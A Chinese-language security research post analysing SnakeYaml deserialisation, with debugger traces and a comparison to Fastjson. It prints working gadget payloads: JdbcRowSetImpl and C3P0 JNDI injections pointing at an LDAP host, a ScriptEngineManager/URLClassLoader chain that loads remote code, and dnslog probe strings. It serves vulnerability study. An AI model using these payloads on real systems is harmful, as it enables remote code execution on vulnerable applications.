SnakeYaml与Fastjson的功能对比
SnakeYaml
的功能是将一个java
对象序列化为.yaml
文件 && 将.yaml
文件反序列化回一个java
对象
SnakeYaml
的功能是将一个java
对象序列化为.json
文件 && 将.json
文件反序列化回一个java
对象
1 2 3
| Yaml yaml = new Yaml(); yaml.dump(xxxx); yaml.load(xxxx);
|
1
| SnakeYaml中的 !!User{age: 18, name: xiaobei} 中的 !! --> 等效于 Fastjson中的 @type
|
映射与序列
1 2 3 4 5 6 7 8 9 10 11 12 13
| SnakeYaml序列化java对象后字符串 - 映射(Mapping)写法: !!User{age: 18, name: xiaobei}
等价YAML语法写法: !!User age: 18 name: xiaobei
等价JSON结构: { "age": 18 "name": xiaobei }
|
1 2 3
| SnakeYaml序列化java对象后字符串 - 序列(Sequence)写法: !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://f80226cf33.ipv6.1433.eu.org\"]]]]
|
所以这两种写法在SnakeYaml
中对应着两个不同的构造函数
映射(Mapping)
先用一个User
类Demo进行调试分析
User.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| public class User { private String name; private int age;
public User() { System.out.println("User类的无参构造函数被调用"); }
public void setName(String name) { System.out.println("setName方法被调用"); this.name = name; }
public String getName() { System.out.println("getName方法被调用"); return name; }
public int getAge() { System.out.println("getAge方法被调用"); return age; }
public void setAge(int age) { System.out.println("setAge方法被调用"); this.age = age; } }
|
SnakeYamlDemo.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| import org.yaml.snakeyaml.Yaml;
public class SankeYamlDemo { public static void main(String[] args) { deserialize(); }
public static void serialize() { User user = new User(); user.setName("xiaobei"); user.setAge(18); Yaml yaml = new Yaml(); String dump = yaml.dump(user); System.out.println(dump); }
public static void deserialize() { String s = "!!User {age: 18, name: xiaobei}"; Yaml yaml = new Yaml(); User user = yaml.load(s); } }
--------------------------------------------------- 调用结果: User类的无参构造函数被调用 setAge方法被调用 setName方法被调用
|
可以看到反序列化过程中调用了User
类的无参构造方法和setter
方法。
调用堆栈:
1 2 3 4 5 6 7 8 9
| constructJavaBean2ndStep:285, Constructor$ConstructMapping (org.yaml.snakeyaml.constructor) construct:171, Constructor$ConstructMapping (org.yaml.snakeyaml.constructor) construct:331, Constructor$ConstructYamlObject (org.yaml.snakeyaml.constructor) constructObjectNoCheck:229, BaseConstructor (org.yaml.snakeyaml.constructor) constructObject:219, BaseConstructor (org.yaml.snakeyaml.constructor) constructDocument:173, BaseConstructor (org.yaml.snakeyaml.constructor) getSingleData:157, BaseConstructor (org.yaml.snakeyaml.constructor) loadFromReader:490, Yaml (org.yaml.snakeyaml) load:416, Yaml (org.yaml.snakeyaml)
|
因为!!User {age: 18, name: xiaobei}
属于映射,所以调用MappingNode
的构造函数org.yaml.snakeyaml.constructor.Constructor.ConstructMapping#construct
,这里通过调用内置逻辑创建了User
类的实例对象,跟进去看一下内置逻辑是怎么写的

最终的逻辑在org.yaml.snakeyaml.constructor.BaseConstructor#newInstance(java.lang.Class<?>, org.yaml.snakeyaml.nodes.Node, boolean)
,通过反射机制获取并调用User
类的无参构造方法,并调用创建User
类的实例对象

继续返回跟进constructJavaBean2ndStep
方法,在这个方法中会取出映射中的Key
与Value
的值,并利用反射机制调用User
类的``setter`方法进行赋值



JdbcRowSetImpl链
已知当SnakeYaml
反序列化字符串为Mapping
映射形式时,会调用反序列化目标类的无参构造方法和setter
方法,所以思路1是利用JdbcRowSetImpl
链打Jndi
注入
1 2 3 4
| Payload: String command = "!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: ldap://192.168.43.95:8085/ZsKMAVbg, autoCommit: true}"; Yaml yaml = new Yaml(); yaml.load(command);
|
序列(Sequence)
1 2 3 4
| Payload: String command = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://u4zgic3x5a6v3nm7nx00okga51bszunj.oastify.com\"]]]]"; Yaml yaml = new Yaml(); yaml.load(command);
|
重新打断点跟进,和映射(Mapping
)的逻辑有所不同,先来到org.yaml.snakeyaml.constructor.Constructor.ConstructYamlObject#construct

来到构造函数org.yaml.snakeyaml.constructor.Constructor.ConstructSequence
,在for
循环中进行递归调用,最后返回的是被赋完值的URLClassLoader
对象

javax.script.ScriptEngineManager链
工具项目地址:https://github.com/artsploit/yaml-payload
Java-SPI
机制分析:https://javaguide.cn/java/basis/spi.html#spi-%E4%BB%8B%E7%BB%8D
Payload
即上文序列(Sequence
)调试的payload
,工具利用方法参考README.md
文件和文章:
https://www.cnblogs.com/LittleHann/p/17828948.html
SnakeYaml + C3P0
C3P0链分析见 -> https://kagty1.github.io/2025/03/25/C3P0%E9%93%BE%E5%88%86%E6%9E%90/
jndi链
1 2 3 4 5 6 7
| public class vulDemo { public static void main(String[] args) { String command = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource {jndiName: ldap://192.168.43.95:8085/evilRef, loginTimeout: 8}"; Yaml yaml = new Yaml(); yaml.load(command); } }
|
Hex流反序化链
与jndi
链同理,构造相似payload
即可,原理不做赘述
探测payload
payload
参考:https://y4tacker.github.io/2022/02/08/year/2022/2/SnakeYAML%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%8F%8A%E5%8F%AF%E5%88%A9%E7%94%A8Gadget%E5%88%86%E6%9E%90/#%E6%8E%A2%E6%B5%8BSnakeYAML
URLDNS
链参考:https://kagty1.github.io/2025/02/07/Ysoserial_URLDNS%E9%93%BE%E5%88%86%E6%9E%90/
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| 调用堆栈: java.lang.Object#hashCode processDuplicateKeys:94, SafeConstructor (org.yaml.snakeyaml.constructor) flattenMapping:76, SafeConstructor (org.yaml.snakeyaml.constructor) constructMapping2ndStep:189, SafeConstructor (org.yaml.snakeyaml.constructor) constructMapping:460, BaseConstructor (org.yaml.snakeyaml.constructor) construct:556, SafeConstructor$ConstructYamlMap (org.yaml.snakeyaml.constructor) constructObjectNoCheck:229, BaseConstructor (org.yaml.snakeyaml.constructor) constructObject:219, BaseConstructor (org.yaml.snakeyaml.constructor) constructDocument:173, BaseConstructor (org.yaml.snakeyaml.constructor) getSingleData:157, BaseConstructor (org.yaml.snakeyaml.constructor) loadFromReader:490, Yaml (org.yaml.snakeyaml) load:416, Yaml (org.yaml.snakeyaml) main:10, vulDemo
|
1 2 3
| Payload: (1) !!java.net.URL [null, \"http://osrwbf.dnslog.cn\"]: 1 (2) key: [!!java.lang.String []: 0, !!java.net.URL [null, \"http://5ydl3f.dnslog.cn\"]: 1]
|
1 2 3 4 5 6 7
| public class vulDemo { public static void main(String[] args) { String command = "!!java.net.URL [null, \"http://6e8pgb.dnslog.cn\"]: 1"; Yaml yaml = new Yaml(); yaml.load(command); } }
|
写在最后
感觉SnakeYaml
反序列化的本质依然是对setter
方法的调用,所以一些Fastjson
的链子在SnakeYaml
中也可以打,还是需要慢慢研究。